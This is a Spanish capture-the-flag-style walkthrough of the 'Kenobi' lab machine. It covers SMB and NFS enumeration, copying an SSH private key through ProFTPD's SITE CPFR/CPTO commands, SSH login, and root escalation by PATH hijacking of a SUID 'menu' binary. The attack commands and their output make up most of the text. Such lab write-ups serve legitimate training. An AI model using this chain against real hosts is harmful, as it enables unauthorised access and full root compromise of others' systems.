Maquina orientada a profundizar en los Shares de Linux. Explotaremos el servicio samba.

Enumeración

nmap --script=vuln -p- -T5 ip -oN -n nmap.kenobi.txt

Puertos abiertos:

21/tcp    open  ftp
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
2049/tcp  open  nfs
36617/tcp open  unknown
37725/tcp open  unknown
38321/tcp open  unknown
44153/tcp open  unknown

Http

Vemos que tiene un servidor web. Hacemos un wget para ver que nos retorna:

wget Ip

Nos da una foto starwars la cual no tiene mucho valor.

El scan de nmap nos ha dicho que puede haber algo en admin.html.

wget IP\admin.html

Nos retorna otra imagen, por lo tanto por aquí no está claro que podamos entrar.

Smb

El puerto de smb está abierto. Para ver si tenemos acceso usamos smbclient, con la flag -L para listar los shares.

└─$ smbclient -L 10.10.101.254                                                   2 ⚙
Enter WORKGROUP\kali's password: 

	Sharename       Type      Comment
	---------       ----      -------
	print$          Disk      Printer Drivers
	anonymous       Disk      
	IPC$            IPC       IPC Service (kenobi server (Samba, Ubuntu))
SMB1 disabled -- no workgroup available                                 

Vemos que hay un share llamado Anonymous, vamos a conectarnos con smbclient para ver que hay.

└─$ smbclient //10.10.101.254/anonymous                                          2 ⚙
Enter WORKGROUP\kali's password: 
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Wed Sep  4 06:49:09 2019
  ..                                  D        0  Wed Sep  4 06:56:07 2019
  log.txt                             N    12237  Wed Sep  4 06:49:09 2019

		9204224 blocks of size 1024. 6877096 blocks available
smb: \> 

Vemos que hay un archivo interesante llamado log.txt. Nos lo descargamos y lo curioseamos.

get log.txt
└─$ cat log.txt | head                                                               1 ⨯ 2 ⚙
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kenobi/.ssh/id_rsa): 
Created directory '/home/kenobi/.ssh'.
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/kenobi/.ssh/id_rsa.
Your public key has been saved in /home/kenobi/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:C17GWSl/v7KlUZrOwWxSyk+F7gYhVzsbfqkCIkr2d7Q kenobi@kenobi
The key's randomart image is:

FTP

El puerto 21 de la maquina está abierto. nos conectamos por nc para ver que hay.

Vemos que es un servidor FTP.

220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.104.80]
site help
214-The following SITE commands are recognized (* =>'s unimplemented)
 CPFR <sp> pathname
 CPTO <sp> pathname
 HELP
 CHGRP
 CHMOD
214 Direct comments to root@kenobi
site cpfr /home/kenobi/.ssh/id_rsa
350 File or directory exists, ready for destination name
site cpto /var/id_rsa
550 cpto: Permission denied
site cpto /var/tmp/id_rsa
503 Bad sequence of commands
site cpfr /home/kenobi/.ssh/id_rsa
350 File or directory exists, ready for destination name
site cpto /var/tmp/id_rsa
250 Copy successful

Listamos los nfs

└─# nmap -p 111 -script=nfs-ls 10.10.101.254                                                        1 ⚙
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-16 08:17 EDT
Nmap scan report for 10.10.101.254
Host is up (0.069s latency).

PORT    STATE SERVICE
111/tcp open  rpcbind
| nfs-ls: Volume /var
|   access: Read Lookup NoModify NoExtend NoDelete NoExecute
| PERMISSION  UID  GID  SIZE  TIME                 FILENAME
| rwxr-xr-x   0    0    4096  2019-09-04T08:53:24  .
| rwxr-xr-x   0    0    4096  2019-09-04T12:27:33  ..
| rwxr-xr-x   0    0    4096  2019-09-04T12:09:49  backups
| rwxr-xr-x   0    0    4096  2019-09-04T10:37:44  cache
| rwxrwxrwt   0    0    4096  2019-09-04T08:43:56  crash
| rwxrwsr-x   0    50   4096  2016-04-12T20:14:23  local
| rwxrwxrwx   0    0    9     2019-09-04T08:41:33  lock
| rwxrwxr-x   0    108  4096  2019-09-04T10:37:44  log
| rwxr-xr-x   0    0    4096  2019-01-29T23:27:41  snap
| rwxr-xr-x   0    0    4096  2019-09-04T08:53:24  www
|_

Ver donde está montado el nfs:

└─# nmap -p 111 -script=nfs-statfs 10.10.101.254                                                    1 ⚙
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-16 08:25 EDT
Nmap scan report for 10.10.101.254
Host is up (0.077s latency).

PORT    STATE SERVICE
111/tcp open  rpcbind
| nfs-statfs: 
|   Filesystem  1K-blocks  Used       Available  Use%  Maxfilesize  Maxlink
|_  /var        9204224.0  1836520.0  6877108.0  22%   16.0T        32000

Nmap done: 1 IP address (1 host up) scanned in 1.37 seconds
└─# nmap -p 111 -script=nfs-showmount 10.10.101.254                                                 1 ⚙
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-16 08:26 EDT
Nmap scan report for 10.10.101.254
Host is up (0.064s latency).

PORT    STATE SERVICE
111/tcp open  rpcbind
| nfs-showmount: 
|_  /var *

Nmap done: 1 IP address (1 host up) scanned in 0.78 seconds

Montamos el Share

mkdir share
mount 10.10.104.80:/var share/ 

Nos traemos la clave rsa.

Logeandonos como konbi

└─$ chmod 600 id_rsa                                                             2 ⚙
                                                                                     
┌──(kali㉿kali)-[~/bootcamp-pentest/9-THM/kenobi]
└─$ ssh -i id_rsa kenobi@10.10.104.80     

Buscando archivos interesantes

find * -perm /4000 2>/dev/null

Output:

bin/umount
bin/fusermount
bin/mount
bin/ping
bin/su
bin/ping6
sbin/mount.nfs
usr/lib/policykit-1/polkit-agent-helper-1
usr/lib/dbus-1.0/dbus-daemon-launch-helper
usr/lib/snapd/snap-confine
usr/lib/eject/dmcrypt-get-device
usr/lib/openssh/ssh-keysign
usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
usr/bin/chfn
usr/bin/newgidmap
usr/bin/pkexec
usr/bin/passwd
usr/bin/newuidmap
usr/bin/gpasswd
usr/bin/menu <----- binario rarito
usr/bin/sudo
usr/bin/chsh
usr/bin/at
usr/bin/newgrp

Comprobamos el Fichero

kenobi@kenobi:/$ /usr/bin/menu 

***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :^C

Vemos que ejecuta 3 binarios.

Hacemos un strings para ver las cadenas que tiene dentro.

Output:

[]A\A]A^A_
***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :
curl -I localhost
uname -r
ifconfig
 Invalid choice
;*3$"
GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.11) 5.4.0 20160609

Aquí podemos observar que el binario llama a los programas curl, uname y ifconfig.

Llamar a estos comandos de esta manera y no con path absolutos hace que esta aplicación sea vulnerable.

Cuando llamamos a una aplicacion por su nombre, lo que sucede es que bash, mira la variable $PATH y mira si el comando introducido lo tiene en la ruta. En esta variable de entorno se guardan las rutas a todos los ejecutables del sistema.

¿Pero que pasa si modificamos el $PATH y le añadimos un nuevo directorio con nuestros binarios?

Digamos que creamos un ejecutable llamado curl y lo guardamos en ~ y agregamos nuestro home al $PATH.

export $PATH=~/:$PATH

Esto provocaria que al llamar a curl bash miraría primero en $PATH y se encontraría con un curl en el home, por lo tanto ejecutaría nuestro curl malicioso.

Al tener el binario menu el permiso de Suid como Root hace que nos retorne una shell como root.

kenobi@kenobi:/$ cd
kenobi@kenobi:~$ vi curl
kenobi@kenobi:~$ chmod +x curl 
kenobi@kenobi:~$ export PATH=~/:$PATH
kenobi@kenobi:~$ curl 
$ 
kenobi@kenobi:~$ /usr/bin/menu 

***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :1
# whoami
root
#